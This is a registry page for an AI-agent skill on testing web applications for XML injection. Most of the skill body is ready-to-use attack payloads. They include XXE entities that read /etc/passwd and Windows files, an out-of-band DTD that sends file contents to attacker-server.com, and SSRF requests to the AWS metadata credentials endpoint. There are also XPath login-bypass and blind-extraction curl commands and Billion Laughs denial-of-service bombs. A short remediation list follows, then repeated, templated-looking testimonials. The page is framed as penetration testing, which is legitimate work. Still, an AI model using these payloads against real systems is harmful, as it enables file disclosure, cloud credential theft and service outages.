Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
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Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versiontesting-for-xml-injection-vulnerabilitiesExecute the skills CLI command in your project's root directory to begin installation:
Fetches testing-for-xml-injection-vulnerabilities from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate testing-for-xml-injection-vulnerabilities. Access via /testing-for-xml-injection-vulnerabilities in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
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| name | testing-for-xml-injection-vulnerabilities |
| description | Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - xml-injection - xxe - xpath-injection - xml-parsing - web-security - entity-injection - dtd-attack |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl
# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing
<!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Windows file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<!-- Using PHP wrapper for base64-encoded file content -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Out-of-band XXE using external DTD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
%xxe;
]>
<root><data>test</data></root>
<!-- External DTD file (xxe.dtd hosted on attacker server) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;
<!-- DNS-based out-of-band detection -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
<!-- Internal network scanning via XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
<!-- AWS metadata endpoint access -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<!-- Internal port scanning -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"
# XPath authentication bypass
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"
# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"
# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
<!-- Billion Laughs attack (use only in authorized testing) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>
<!-- Quadratic blowup attack -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>
| Concept | Description |
|---|---|
| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |
| Blind XXE | XXE where response is not reflected; requires out-of-band channels |
| XPath Injection | Injection into XPath queries used to navigate XML documents |
| DTD (Document Type Definition) | Declarations that define XML document structure and entities |
| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |
| SSRF via XXE | Using XXE to make server-side requests to internal resources |
| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |
| XXEinjector | Automated XXE injection and data exfiltration tool |
| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |
| xmllint | XML validation and parsing utility for payload testing |
| interact.sh | Out-of-band interaction server for blind XXE detection |
| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |
## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical
### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
We added testing-for-xml-injection-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
testing-for-xml-injection-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
testing-for-xml-injection-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
testing-for-xml-injection-vulnerabilities fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
testing-for-xml-injection-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
Keeps context tight: testing-for-xml-injection-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
testing-for-xml-injection-vulnerabilities has been reliable in day-to-day use. Documentation quality is above average for community skills.
testing-for-xml-injection-vulnerabilities fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
We added testing-for-xml-injection-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Keeps context tight: testing-for-xml-injection-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
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